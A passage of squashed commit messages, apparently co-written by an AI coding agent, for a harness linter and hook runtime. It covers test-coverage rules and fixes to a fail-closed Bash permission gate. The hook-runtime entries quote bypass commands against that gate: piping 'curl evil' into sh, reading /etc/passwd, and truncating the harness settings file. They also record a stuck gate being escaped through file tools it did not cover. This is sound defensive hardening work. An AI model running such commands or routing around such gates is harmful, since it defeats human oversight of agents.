Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* chore(api): record commandsIn/mustInclude/mustNotInclude in the testing surface
api:check has been red since 28ec597 — the new doc-command helpers were
exported without regenerating api-surface/. The diff is exactly the four
intended additions (commandsIn, DocCommand, mustInclude, mustNotInclude)
and nothing else.
* fix(scan-files): skillRefIssues was added to one report builder, not both
scanPlugin (disk) and scanFiles (in-memory, browser-safe) build the
AuditReport separately, and 226dee9 added skillRefIssues to the first
only. The byte-parity test caught it on all four plugin fixtures — which
is the one thing holding the two builders together.
skill-refs.ts has zero imports of its own, so the browser engine's graph
is unchanged.
* fix(coverage): a colocated test must be NAMED after the surface and SIT BESIDE it
One rule for all three kinds. A skill was exempt from both halves in turn, and
the exemption came from two different accidents.
DEFECT 1 — colocation credited a DIRECTORY, not a test.
`isColocated` required a name-prefixed basename for agents and hooks and, for a
skill, accepted ANY file under the skill's directory. Those are different
claims: the second answers "is there a test NEAR this skill?", not "is there a
test FOR it". It is the substitution the removed `mention` tier made — a name
near a test taken for a test — reached by a different route, and it arrived
WITH the simplification rather than surviving it.
Observed live: a consumer repo's `.claude/skills/paper-pipeline/` holds six
`*.eval.mjs`, exactly one about `paper-pipeline`; the rest measure other skills
and sit there because that directory was the pipeline's home before tests moved
next to their subjects. One is literally `grade-paper-writing-ablation.eval.mjs`
— named after a different skill in the same install. The orchestrator scored as
covered and had no test of its own until someone wrote one by hand.
Measured on a fixture reproducing that shape (two skills, one foreign-named
eval): before, `✓ all 2 surface(s) have a test or eval`; after, the orchestrator
is flagged and the finding names the exact path to add.
DEFECT 2 — a subdirectory counted as beside.
Removing that allowance was measured, not assumed. Across two real repos exactly
ONE nested test file exists: `verify-citations/scripts/verify-cites.test.mjs`,
a unit test for a script the skill BUNDLES, pinning that script's pure reducer.
It is a good test of a script and not a test of a skill — the distinction this
whole rule turns on — and the skill carries its own two colocated files anyway.
So the allowance credited nothing anyone wanted, while costing the single
property that makes colocation worth having over a parallel test tree: `ls`
answers "is this tested?". With a subdirectory permitted, it takes `find`, and
two permitted shapes become a choice at write time and a lookup at read time.
BREAKING for a repo whose colocated test is named otherwise or kept one level
down. Renaming or moving the file is the whole migration, and the finding prints
the path to use.
Also: a single-skill target now takes its identity from the declared `name:`
rather than the checkout directory's basename. Under the old rule that name was
never read; under the new one, deriving identity from the path would ask an
author to name their test after their CI workspace.
DEFECT 3 — removing `vigiles:covers` would have migrated in silence.
Up to 15.0.2 the untested finding told the reader to "mark what it covers with
`vigiles:covers <surface>`". That tier is gone. Someone who followed the
instruction gets no error on upgrade: the marker becomes an ordinary comment,
coverage drops, the untested count rises, and nothing says why.
`UntestedReport.legacyCoversFiles` (optional, so an older report still parses)
carries the test files still holding it, and the report prints one line naming
them and what changed. It is printed in BOTH branches — a repo can lose the tier
and still be at zero untested, and would otherwise never hear about it. Reading
those files does not feed coverage; nothing inside a test can change it now.
docs/rules/untested-skill.md described the old asymmetry as current behaviour and
now states the single rule, with the two file names and what each buys.
Tests: both halves for each behaviour — fires on the planted defect, quiet on the
obeyed form — including the real bundled-script case. Mutations, each failing on
its own assertion: dropping the name check (restores defect 1, and also reddens
the two pre-existing agent/hook tests), suppressing the migration note, and
taking the root-skill identity from the path. Full suite 2573 passed; the single
failure (`a blocking Stop hook forces the agent to keep working`) reproduces on
the branch base and is this environment's broken TLS, not this change.
* fix(hook-runtime): a broken load path wedged the repo with no way back
Observed live 2026-08-10, not reasoned about. `git merge` left conflict
markers in `package.json`. Node then refuses to read that package config,
so the bare specifier `vigiles/hook` no longer resolves, so NO compiled
hook loads, so the PreToolUse Bash gate refused EVERY command --
including `git merge --abort`, the only command that undoes the cause.
Unreachable from inside the session; it was fixed by hand-editing the
JSON, because file tools do not go through PreToolUse(Bash).
Reproduced end to end before touching anything (src/hook-load-wedge.test.ts):
a fixture project, a compiled hook importing `vigiles/hook`, the real
`hook-runtime run-program`. Healthy: `git push --force` exit 2,
`git merge --abort` exit 0. Conflicted package.json: EVERY command exit 2,
with `vigiles: cannot load hook program .claude/hooks/guard.hook.mjs` --
naming the hook, which is fine. Sending the author to the wrong file was
the expensive half of the incident.
Same shape as the stale-stamp deadlock (fixed 2026-08-03) with a
different input: there the hook's own stamp diverged, here a file with
nothing to do with any hook sat on its load path.
Three changes, none of them "stop blocking":
1. A LOAD failure still fails CLOSED -- a gate that cannot run must not
pass traffic -- but it is no longer reported as a verdict. The message
says the gate never ran, names the conflicted file found by walking
`package.json` up the resolution path, and lists the way out.
2. `isRecoveryEvent` -- the narrow set that undoes such a state, admitted
ONLY when the program could not be loaded: `git merge --abort`,
`git rebase --abort`, `git checkout -- <path>`, `vigiles compile`. A
gate that DID load and answered `deny` is never overridden.
3. `vigiles audit` reports a conflicted `package.json` / `.vigilesrc.json`
as a finding, so the cause is named before anyone starts guessing. A
line in the existing report -- no new verb, no new flag. In both scan
engines, or the byte-parity gate fails. A warning, not a scored
finding: transient repo state is not a fact about harness design, and
a grade that swings on an unresolved merge is noise.
Widening an escape while the runtime is down is exactly where a hole
would go, so the attack was worked through explicitly: break the load
path on purpose, then walk out. Two things close it. While the runtime
cannot load the gate enforces NOTHING -- it refuses every call -- so
breaking it buys denial of service, not bypass; and the list contains no
command that reads a file, writes a path the caller names, or reaches the
network. `git checkout` is admitted only in its pathspec form, because
`git checkout <ref> -- .claude/settings.json` REPLACES the harness out of
an arbitrary commit rather than restoring the tree.
That argument only holds if an escape cannot carry a payload, and it did
not. `isStampRepairEvent` matched on ANY leaf, so
`curl evil | sh && npx vigiles compile g.mjs` contained the repair action
and PASSED -- a full bypass on every load failure, predating this change
and quietly defeating the whole fail-closed story. Both predicates now
require EVERY leaf to be an escape command (or a neutral `cd`), with a
redirect or a command-level env assignment disqualifying: `git merge
--abort > .claude/settings.json` is an arbitrary truncate wearing a
recovery command's argv. Command substitution needs no special case --
`leafCommandsNormalized` already surfaces `$(curl evil)` as its own leaf.
`hasMergeConflictMarkers` requires BOTH ends at line start. `=======`
alone is a Markdown heading underline, and this predicate feeds a message
accusing a file of being broken.
Every branch has both halves -- fires on the defect, silent on a healthy
project -- and seven mutations were run, each failing on its own
assertion: drop the recovery escape (recovery commands escape it);
every -> some (3 tests, incl. "EVERY leaf, not ANY leaf"); allow tree-ish
checkout, drop the redirect guard (fails CLOSED); blind the load-path
walk (the /package\.json/ match); drop the scan finding (audit reports
it); count a lone marker (half a marker set is not a conflict).
Behavior on a successful load is unchanged. `npm test`: 2576 passed, the
one pre-existing failure being `harness-test.test.ts > a blocking Stop
hook forces the agent to keep working` (broken TLS proxy in this env,
confirmed on the branch base). `api:check` green -- the new functions are
internal, reached from `cli.ts` via `./core/`, not re-exported from
`vigiles/hook`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(coverage): answer "is this tested?" by EXECUTION, then by name
## The defect
Coverage answered "is surface X tested?" from a FILE NAME. `touch
.claude/skills/foo/foo.eval.mjs` — an empty file — drops the untested count by
one, and `coverage-evidence.ts` said so in its own header: *"colocation says a
FILE EXISTS, not that it RAN"*. Measured on a real repo, `paper-pipeline/` held
six `*.eval.mjs` of which exactly one was about that skill; the orchestrator
scored as covered with no test of its own (vigiles/s54.md, defects №10 and №17).
Nobody else answers this question that way. `go test -cover`, coverage.py, nyc
and tarpaulin all answer from EXECUTION and use the name only to FIND the file
to run. A skill cannot be run without a model, so the name survives — but as a
fallback, not as the answer.
## The design
Order of answers is **execution → name → nothing**, and the report says which
one it used ("MEASURED BY A RUN" vs "the file EXISTS, not that it ran").
Attribution is DERIVED by the machinery, never declared by an author — a
`surface:` field would be `vigiles:covers` with extra steps, and that tier was
removed for exactly this reason. Each tier reports what it already knew it was
pointed at:
runScript / runHook → the COMMAND LINE it executed (plus `opts.env`,
because `runHook('"$GUARD"', …, {env}) `is the
documented idiom)
runHarnessTest / eval / → the TRANSCRIPT: the Skill call that RESOLVED.
measureTriggerRate Not the install set — a trigger-rate run installs
competitors on purpose, and crediting the set
would credit a skill for LOSING selection.
The channel is the existing CHECK_COUNT scratch file. A run with nothing to
attribute writes the bare number it always wrote, byte for byte; only a run with
something to say writes JSON. Both are readable, so an older runner meeting the
new form reads "no report" — the legacy branch, a plain pass, never a wrong
verdict.
`vigiles test` / `vigiles eval` resolve the probes against discovered surfaces
(unresolvable ⇒ dropped, never guessed) and merge them into `.vigiles/coverage.json`
alongside the existing flight-recorder ledger. No new verb, no new flag.
## What deliberately does NOT count
- A run against OLDER text. Each record stamps the surface's content hash at run
time; edit the surface and it becomes "measured, but not this version",
reported on its own line and granting no coverage. Silently counting it is the
PIPELINE-STATUS disease — a tick against a document rewritten afterwards.
- A FAILED script. It exercised the surface but established nothing.
- A harness run, for the eval tier. Free deterministic runs cannot answer "does
this fire?", so that gap stays open until a model runs.
- Anything at all with no artifact: a fresh clone, CI and third-party repos
behave exactly as before — verified on a real 38-surface corpus, 12/14 before
and after, same provenance line.
## Proof
12 mutations, each killing one load-bearing line, each dying on its OWN
assertion (control green at 108):
execution outranks colocation · a stale run must not count · the eval tier is
not answered by a harness run · stale notice only when nothing fresh · a
command probe never resolves to a skill · a harness run must not erase an eval
record · a failed script contributes nothing · an errored Skill call
attributes nothing · the env is scanned · silence stays the bare number · a
bare number is still readable · runScript attributes what it executes
End-to-end on a throwaway plugin: untested → `vigiles test` → "1 MEASURED BY A
RUN" → edit the hook → "run record from BEFORE their current text" → re-run →
measured again. A red harness records nothing.
`npm test`: 2612 passed, 1 pre-existing failure (harness-test.test.ts blocking
Stop hook — broken TLS proxy in this environment). `api:check`: no drift.
The browser twin has no filesystem and therefore structurally no run records;
that is stated in `test-coverage-files.ts` rather than left to be inferred, and
`countEvidence` reports `executed: 0` there so the byte-parity gate holds with
no special case.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage)!: TypeScript is first-class, the paid tier is an INFIX, and the one name a foreign runner claims is gone
Three changes that only make sense together; any two without the third leaves a
money hazard open.
1. THE PAID TIER IS `.eval.`, NOT `.eval.mjs`.
The split was `path.endsWith(".eval.mjs")`. The moment TypeScript is accepted,
`foo.eval.ts` falls into the `harness` branch — a file that spends real model
calls, classified as the FREE deterministic tier and run on every push, in CI.
Accepting TS without fixing this first is worse than not accepting it, so this
lands first in the same commit.
2. `*.harness.{ts,mts,cts,js,mjs,cjs}` AND `*.eval.{…}`.
`.harness.ts` matched nothing at all, so a TypeScript project got no credit for
a test it had written. `.mts`/`.cts` are real (TS 4.7+) and Node 22 runs all
three directly — type stripping, no toolchain. Measured, not assumed.
3. `*.test.*` IS NO LONGER A VIGILES TEST.
Six entries used to match the default patterns of vitest and jest EXACTLY, read
out of the installed packages rather than from memory:
vitest **/*.{test,spec}.?(c|m)[jt]s?(x)
jest **/?(*.)+(spec|test).?([mc])[jt]s?(x)
**/__tests__/**/*.?([mc])[jt]s?(x) ← everything in that directory
vigiles never RAN those files, but crediting them made the name reasonable — so
an author writes `skills/foo/foo.test.mjs`, and `npx vitest` runs it. A skill
test calls runHarnessTest/measureTriggerRate: it spawns a model. The accident is
a silent bill, on every push. Measured in a spike: a bare project with that file
and a plain `npx vitest run` executed it, so "it lives under a dot-directory, so
nothing else will find it" is false.
With those gone the guarantee is one sentence: NOTHING VIGILES RECOGNISES IS
MATCHED BY A DEFAULT VITEST OR JEST RUN.
BREAKING: a repo whose hook is covered by an ordinary `pre-edit.test.ts` loses
that credit. The migration is a rename and the finding prints the exact path.
Taken over the alternative — keep the entries for hooks/agents, drop them for
skills — because a rule with a per-kind exception is what this file just spent a
day removing.
4. AND THE MONEY IS GUARDED WHERE IT IS SPENT.
`src/core/foreign-runner.ts`: `spawnAgent` — the single composition root every
paid path reaches — refuses to start when `process.argv[1]` identifies vitest,
jest, mocha or ava. Naming is a convention someone can break; this cannot be
broken by naming a file anything.
NOT an environment variable. `process.env.VITEST` was proposed and rejected: it
can sit in a `.env` or a CI environment for unrelated reasons, and a guard that
fires on correct input is a guard people delete. `argv[1]` is what node was
actually started with. Measured: under `npx vitest run` it is
`node_modules/vitest/dist/workers/forks.js`; under `node foo.eval.mjs` it is the
file; under `vigiles eval` it is the script vigiles spawned.
Positive identification of a known runner, not "am I the entry point" — the
conservative direction, since an unrecognised wrapper runs rather than a
legitimate scheduled eval being blocked by a pattern nobody predicted. Refusal
throws rather than returning a failed run: a run result would be recorded and
averaged, and "0% trigger rate" is exactly the confident zero this project keeps
mistaking for a finding.
Tests: both halves for each behaviour, including the quiet ones (a direct `node`
run is not a foreign runner; a repo that merely HAS vitest installed is not
running under it). One test was INVERTED — it used to assert `*.test.ts` counts —
and kept as an inversion so a re-introduction fails it. Four mutations, each
failing on its own assertion: restoring the `.eval.mjs` suffix, restoring
`*.test.*` to the globs, dropping TS from the harness glob, and disabling the
runner check.
Full suite: 2619 passed. Two failures, neither this change — `a blocking Stop
hook forces the agent to keep working` (this environment's broken TLS proxy,
reproduces on the branch base) and one `cli.test.ts` case that passes in
isolation (114 passed, 154s file — load-related under the full run).
api:check: no drift. Corpus at /home/user/mine unchanged: 12 · 14 · 26.
* feat(coverage): write the test in the project's own language — TypeScript detected, config only to disagree
`.harness.ts` is now accepted (previous commit), but both places that NAME a test
still hard-coded `.mjs`: the untested finding ("add e.g. …") and the generator in
scaffold-test.ts. A TypeScript project was told to add a JavaScript file.
`core/test-file-ext.ts` decides once, and both sides read it — a generator that
writes `foo.harness.ts` while the finding says `foo.harness.mjs` teaches the
reader that the tool disagrees with itself. A test pins that they cannot drift.
DETECTION FIRST, CONFIGURATION ONLY TO DISAGREE — the Rails/Next posture the rest
of this rule already takes. A `tsconfig.json` or a `typescript` dependency is
enough; `testExtension` in .vigilesrc.json exists for what detection cannot get
right (a monorepo with mixed packages, a JS project carrying a stray tsconfig, a
deliberate choice to keep tests in JS).
🔴 `init` DOES NOT WRITE THE FIELD, on purpose. A value recorded at
initialisation goes stale in silence: the project migrates to TypeScript six
months later and the config still says otherwise, with nobody remembering it is
there. Detection re-runs every time; an empty config means "I agree with all of
it".
Two decisions worth their measurements:
- `.ts`, not `.mts`. Measured on Node 22.22 in BOTH package kinds: a `.ts` file
using `import` runs in a package with `type: module` and in one without it —
type stripping detects module syntax rather than trusting the package type. The
`.mts` special case a careful reader expects here is not needed. `.mts`/`.cts`
stay accepted (they are real, TS 4.7+) but never generated.
- `.mjs`, not `.js`, for the non-TypeScript default: `.js` in a package without
`type: module` is CommonJS, and every generated test uses `import`.
A nonsense `testExtension` is IGNORED rather than honoured or thrown on: writing
`foo.harness.rb` because somebody typed `rb` produces a file no runner executes,
and the finding would then point at a path that can never satisfy it.
Tests: 8, including the quiet halves (a dependency merely NAMED like typescript
does not count; a malformed package.json decides nothing rather than throwing).
Two mutations, each failing on its own assertion: ignoring the config field, and
trusting any value it holds. api:check: no drift.
* feat(audit): a harness test named `*.test.*` is run by OTHER people's runners
Measured 2026-08-11, not reasoned about. A fixture holding nothing but
`package.json` and `.claude/skills/foo/foo.test.mjs`, then `npx vitest run`
at the repo root: `Test Files 1 passed (1)`. Vitest descended into the
dot-dir and executed the file. The assumption that "it lives under `.claude/`,
so other tools leave it alone" is simply false -- vitest's `defaultExclude` is
`["**/node_modules/**", "**/.git/**"]` and nothing else, read from the
installed package, so every dot-dir except `.git` is fair game.
Not cosmetic, because a harness test is not a unit test: it calls
`runHarnessTest` / `measureTriggerRate`, which spawn an agent. A foreign runner
that collects one spends model budget silently, in CI, on every push. The
`*.eval.*` tier is the paid one by definition, so a file carrying both an eval
name and a foreign test name is the expensive case and the message says so
outright rather than filing it under "runs unexpectedly".
Easy to walk into because vigiles ITSELF blesses these names --
`DEFAULT_TEST_SUFFIXES` accepts `.test.ts` / `.test.mjs` / ... as valid harness
tests. Our own `*.harness.mjs` / `*.eval.mjs` match no third-party default;
`*.test.*` matches all of them. The fix is therefore always a rename.
Patterns quoted verbatim from the packages on disk, not from memory:
node_modules/vitest/dist/chunks/defaults.*.js
**/*.{test,spec}.?(c|m)[jt]s?(x) (defaultInclude)
**/*.{test,spec}-d.?(c|m)[jt]s?(x) (typecheck; --typecheck only)
node_modules/jest-config/build/index.js
**/?(*.)+(spec|test).?([mc])[jt]s?(x)
**/__tests__/**/*.?([mc])[jt]s?(x) <- by LOCATION; no suffix needed
The `-d` glob is quoted but NOT matched: a plain run ignores it, so reporting
it would flag files nothing collects. The two name globs differ where it
matters and both are honored -- jest's prefix `?(*.)` is OPTIONAL, so a bare
`test.mjs` is jest-only, and naming the wrong tool would send the author to
configure a runner that never ran the file.
Deliberately NOT a config parse. Reading `vitest.config.*` / `jest.config.*` /
`package.json#jest` to learn whether this repo overrode its globs means
evaluating dynamic JS, following `extends`, and resolving monorepo layers --
false confidence in both directions. A filename does not lie, and the finding
claims only what is true regardless of any config: a DEFAULT run collects this.
Scope is the harness surface dirs (skills/agents/commands/hooks, in both the
plugin and the `.claude/` user shape), derived from `PluginLayout` rather than
hard-coded. `src/foo.test.ts` is an ordinary project test and none of our
business; flagging it would make the warning fire on every repo with tests.
A warning in the existing report -- no new verb, no new flag -- and NOT scored,
like the merge-conflict finding next to it. A grade must not move because of
what someone named a file beside a hook: this is a hazard in how the repo meets
OTHER tools, not a fact about how the harness was designed. Nothing starts or
stops counting as coverage. In both scan engines, or the byte-parity gate
fails; findings are sorted in plain codepoint order (not `localeCompare`, which
would make a byte-compared report depend on the machine's locale).
The message is class-level about agent spend, not a claim about the specific
file. The check reads names only, so it cannot know whether a given file drives
an agent or is a pure offline test -- the one in the wild
(`verify-cites.test.mjs`) is pure, and "this spawns an agent" would have been an
overclaim on it.
Both halves everywhere -- fires on the defect, silent on a healthy corpus --
and seven mutations, each failing on its own assertion: drop the `__tests__`
location branch; drop the surface-dir scope (ordinary project tests get
flagged); make jest's optional prefix mandatory (bare `test.mjs` missed); widen
the extension set (`.test.json` / `.test.md` flagged); drop the eval money
sentence; drop the sort; add our own suffixes to the name glob (the
clean-corpus half stops being silent).
Verified on a real corpus outside this repo (`vigiles audit ~/mine`): one
finding, `.claude/skills/verify-citations/scripts/verify-cites.test.mjs`.
`npm test`: 2584 passed, the one pre-existing failure being
`harness-test.test.ts > a blocking Stop hook forces the agent to keep working`
(broken TLS proxy in this env). `api:check` green -- the new module is
internal, reached from the scanners, not re-exported.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(gitignore): `node_modules/` with a trailing slash does not ignore a SYMLINK named node_modules
Self-inflicted, and it wedged the checkout for a few minutes — worth the entry
because the mechanism generalises.
WHAT HAPPENED. Two agents were deliberately separated into `git worktree`s to
stop them overwriting each other. A worktree has no `node_modules`, so I linked
it: `ln -sfn /workspace/vigiles/node_modules /tmp/wt/node_modules`. Then a
routine `git add -A` in that worktree TRACKED the symlink, because
`.gitignore`'s first line is `node_modules/` — a trailing slash matches
DIRECTORIES ONLY, and a symlink is not a directory to git. Merging that branch
back replaced the real `node_modules` directory with a symlink pointing at
itself: every command died with ELOOP, `npm run build` "succeeded" only because
the grep for `error TS` found nothing in an empty stream, and the tree looked
fine to `git status`.
THE FIX is the missing slash. `node_modules` matches the directory and the
symlink; nothing else in this repository can be named that.
Recovered with `npm ci` — the npm registry is reachable from here even though
git's TLS is not, which is the same asymmetry that keeps the GitHub API working
while `git push` fails.
The general shape, for whoever hits it next: an ignore rule written for the
common form of a path stops applying the moment somebody creates the same name
in a different form, and the failure surfaces far away — in a merge, in another
checkout, as ELOOP rather than as "you committed node_modules".
* test(site): regenerate the browser-parity fixture for the engine changes in this branch
The committed expected report still described the previous engine, so the
parity test failed on CI with a field-level diff that reads like a real
Node-vs-browser divergence. It is not: both sides agree, and the fixture is
what is stale.
Regenerated with the documented procedure (`node site/scripts/gen-parity-expected.mjs`,
which formats through prettier so the result does not redden `fmt:check` later).
The diff is exactly the two intentional changes and nothing else:
coverageEvidence {declared, colocated, mention} → {executed, colocated}
Safety finding per-unit "inherits all tools" → the aggregated
`disallowed-tools:` wording, since `allowed-tools:` was
measured to be pre-approval rather than a fence
⚠️ NOT verified locally: this environment's Playwright has no
`chromium_headless_shell-1228`, and installing browsers here is disallowed, so
the browser suite cannot run. CI is the check.
* test(eval): cover the foreign-runner guard through the composition root
The 100% gate failed on exactly two lines — `eval.ts` 386-387, the wiring that
reads `process.argv[1]` and throws. The pure helpers were unit-tested next door;
what nothing proved was that `spawnAgent` actually calls them, and wiring is the
half that silently rots.
The test works because of where it runs: under vitest `process.argv[1]` is
`…/node_modules/vitest/dist/workers/forks.js`, so the guard fires by
construction. Asserting the throw costs nothing and spawns nothing — and it is
the same property the guard exists for, exercised rather than described.
* fix(coverage): a rerun that drops a surface must withdraw the coverage it claimed
Reproduced before it was fixed, on a two-hook fixture driven through the real
CLI (now `src/cli-coverage-record.test.ts`):
run 1 t.harness.mjs runs hooks/a.sh -> coverage.json: hooks/a.sh
edit t.harness.mjs now runs hooks/b.sh
run 2 coverage.json: hooks/a.sh, hooks/b.sh
vigiles lint: "2 MEASURED BY A RUN"
`hooks/a.sh` is execution-tier covered by a run that no longer exists, and it
stays that way forever: `mergeRuns` starts from every previous record and can
only overwrite keys present in `next`, and staleness is keyed to the SURFACE's
text -- rewriting the test does not touch the hook, so the record never even
goes stale. The tier whose whole reason for existing is "answer by execution,
not by name" was answering by a name that ran once, in the past.
The sharper half is the empty case: a harness emptied of its assertions reports
NO probes, so there is no key to overwrite at all and merging can never reach
it. `recordRunCoverage` also returned early on "nothing new to record", which
is precisely the run worth writing down.
Fix: a run retracts as well as records. `mergeRuns` takes the scripts that
executed and drops their previous records BEFORE the new ones land, so what a
run says about its own script replaces everything that script said before,
including silence. Scoped to (script, tier) -- the merge key minus the surface
-- so a run can only ever withdraw what its own scripts claimed:
- a script that was NOT run keeps its records (`vigiles test one.harness.mjs`
must not erase the suite);
- the free per-push tier never withdraws what the paid scheduled tier
measured, same reason the merge key already carries the tier;
- the parameter is optional, so a caller that cannot say which scripts ran
gets the old merge-only behaviour rather than silent deletions.
A SKIP is the one status that is not an execution (`executedScripts`): the
deterministic tier skips when `claude` is absent, and dropping a record because
today's machine lacks a CLI would delete a measurement taken on the machine
that had it. `fail` and `vacuous` DID run and established nothing, so their old
green records must not outlive them -- the same rule `runsFromResults` already
applies when refusing to write one.
"Absent artifact = today's behaviour, exactly" survives: nothing to add and
nothing withdrawn means the file is not touched, so a fresh clone still gets no
artifact and a green no-op run does not churn the timestamp.
Both halves per behaviour, and seven mutations each failing on its own
assertion: restore the defect (`kept = previous`); drop the tier from the
retraction key (both halves, since desynchronising one is degenerate); retract
every previous record instead of the scripts that ran; drop `norm()` from both
sides (a Windows-recorded `by` becomes unretractable); count a skip as an
execution; have the CLI forget to pass the executed set; restore the CLI's
early return; drop the CLI's no-op guard (a repo that exercises nothing starts
getting an artifact).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(doc-commands): a global or sticky filter must not skip every other command
Reproduced before the fix, on a block of four `curl` lines:
commandsIn(md, /curl/) -> 4 ["…a", "…b", "…c", "…d"]
commandsIn(md, /curl/g) -> 2 ["…a", "…c"]
commandsIn(md, /curl/y) -> 2 ["…a", "…c"]
`RegExp.test` advances `lastIndex` on a global or sticky regex, so testing a run
of matching lines with the SAME object alternates hit, miss, hit, miss. The
damage is downstream and silent: half the document never enters the set that
`mustInclude` / `mustNotInclude` judge, so the rule reports "all 2 command(s)
include --cacert" over a file with four, and a ban goes green over commands it
was never shown. `/curl/g` is what a caller writes without thinking about it,
and a flag that changes WHICH commands are checked is the worst possible
meaning for it.
Fixed by building the filter fresh without `g`/`y` rather than resetting
`lastIndex` per line: the caller's regex is theirs and may be in use elsewhere
(a reset would mutate it), and a non-global regex has no state left to reset
wrongly -- the ability goes rather than the symptom. `y` is dropped for a second
reason: sticky ANCHORS the match at `lastIndex`, so `/curl/y` against
`sudo curl …` finds nothing, which is not what "matching" means here. Every
other flag is preserved, `i` included.
Both halves: /g, /y and /gi now return exactly what a plain /curl/ returns
(with the plain result asserted as the control), and the caller's `lastIndex`
comes back untouched. Four mutations, each failing on its own assertion: use
the caller's regex directly (the defect); strip `g` but keep `y`; drop all
flags (case-insensitivity silently stops working); reset `lastIndex` once
before the loop instead of removing the statefulness.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(check): a restricted `Tool(...)` declaration must match the base tool it names
Reproduced before the fix, on a skill whose frontmatter says
`allowed-tools: Bash(git:*), Read`, against a trace of Skill + Bash + Read:
agent used tool(s) outside its declared set: Bash
(declared: Bash(git:*), Read, Skill)
`Bash(git:*)` is the ordinary way to write a narrow grant, and `skillContract`
hands that literal string to `onlyTools` -- while a trace only ever carries the
base name `Bash`, because that is what the harness reports. Set membership
therefore missed, and every legitimate Bash call was reported as outside a
declared set that literally lists Bash. The failure is self-refuting on its
face, so nobody debugs it; they delete the check. And it fired on precisely the
authors who did the right thing and narrowed their grant.
Fixed with the `split("(")` normalization the rest of the codebase already
applies to tool declarations (core/tool-contract.ts, core/lethal-trifecta.ts,
core/delegation-trifecta.ts) -- kept as a local one-liner because the testing
pillar does not otherwise depend on the linting core. The declaration is still
ECHOED verbatim in the message and kept verbatim in `SkillContract.declared`:
an author who wrote `Bash(git:*)` must read back what they wrote, and the
restriction is what `lethal-trifecta` parses.
What this does NOT start claiming: that the command really was a `git` one. A
trace names the tool, not the grant it was matched against, so `Bash(git:*)` can
be held to "no tool outside the declared set" and no further. Narrowing beyond
the base name reads the grant rather than the run, and that is
`disallowed-tools:` + `lethal-trifecta`'s job. Said outright in the doc comment
so the check is not mistaken for one.
Both halves: the declared-and-narrowed call passes AND `WebFetch` is still
caught, so normalizing did not turn the white-list into a pass-all -- asserted
at both layers, on `onlyTools` directly and end-to-end through a real
`SKILL.md`. Two mutations, each failing on its own assertion: drop the base-name
normalization (the defect, failing both layers); print the normalized form in
the message instead of the declaration as written.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the documented `testExtension` config was read by nothing
Reproduced before the fix. A repo with a `tsconfig.json`, one untested skill,
and this `.vigilesrc.json`:
{ "rules": { "untested-skill": ["warn", { "testExtension": "mjs" }] } }
$ vigiles lint
skill .claude/skills/demo/SKILL.md — add e.g. .claude/skills/demo/demo.eval.ts
`TestCoverageOptions.testExtension` documented itself as coming from
`.vigilesrc.json`, but `TestCoverageConfig` -- the shape the three `untested-*`
rules actually accept -- had no such key, and `checkUntestedSurfaces` forwarded
only `testGlobs` and `exclude`. So the escape hatch that exists precisely for
the cases detection gets wrong (a mixed monorepo, a JS project carrying a stray
tsconfig.json, a deliberate choice to keep tests in JS) did nothing at all, in
silence. That is this project's own thesis pointed at its own CLI: the setting
was prose, and nothing mechanical read it.
Fix: declare `testExtension` on `TestCoverageConfig` and forward it. The
decision itself is unchanged and already tested (`core/test-file-ext.ts`) --
convention first, config only to disagree, an unrecognised value ignored rather
than honoured so nobody is sent to create `demo.harness.rb`.
The doc comment that made the promise is corrected too: the key arrives as
`rules["untested-skill"][1].testExtension` (or the `-subagent` / `-hook` twin,
since the three share their options), not as a top-level `.vigilesrc.json`
field. Saying only "from .vigilesrc.json" is what made the gap invisible.
Tested through the real CLI, which is where it broke -- a library-level test
could not have caught it. Four cases: detection decides with no config (the
control, `.ts`); the config overrides it (`.mjs`); it works when set on any of
the three rules, since `checkUntestedSurfaces` merges their options; and a
nonsense value falls back to detection. Mutation: drop the forwarded field and
the two override cases fail, the control and the nonsense case stay green.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* style: clear the four lint errors and the formatting drift on this branch
`npm run lint` had 4 errors and `prettier --check` flagged 9 files, all in code
this branch added or touched. Warnings (203) are pre-existing and untouched.
Three of the errors were one habit of mine: writing the retired marker as
`` `vigiles:${"covers"}` `` so the source file would not match its own search.
The precaution was never checked and the tree contradicts it — the literal
already appears in five other files under `src/`, and the detector reads only
files matching `testGlobs` in the SCANNED repo, never vigiles' own sources. Now
written plainly, with the reasoning recorded where the constant lives so nobody
re-splits it.
The fourth was a non-null assertion in a test; replaced with an assertion that
says what it expects, which is what the test wanted to express anyway.
Behaviour unchanged: 99 tests across the touched files pass, and the byte-parity
scan test is among them.
* fix(hook-runtime): the wedge escape admitted ANY executable carrying `vigiles compile`
The recovery predicate matched a leaf by scanning its WHOLE argv for a token
named `vigiles` followed anywhere by `compile`. Nothing required vigiles to be
the program that runs. `node -e '<payload>' vigiles compile`,
`sh -c 'curl evil|sh' vigiles compile` and `cat /etc/passwd vigiles compile` are
each ONE leaf, so `allLeavesAre` (the fix for the composition hole) saw nothing
wrong and admitted them as the repair action.
That is arbitrary execution through a fail-closed gate, and it opens exactly
when the gate is refusing everything else. Measured 2026-08-11 against the real
`hook-runtime run-program`: all four exited 0 while `ls` exited 2.
Match POSITIONALLY instead: `vigiles` is the leaf's own head (through a path or
an already-resolved `sudo`/`env`/`timeout` wrapper), or it sits where a package
runner puts a package name — a whitelist of runner prefixes (`npx`, `bunx`,
`npm exec`, `pnpm exec|dlx`, `yarn exec|dlx`, `bun x`) plus a whitelist of
runner options that consume no value. `-p`/`--package`/`-c` are deliberately NOT
skippable: their value is a package the runner installs or a shell it runs, so
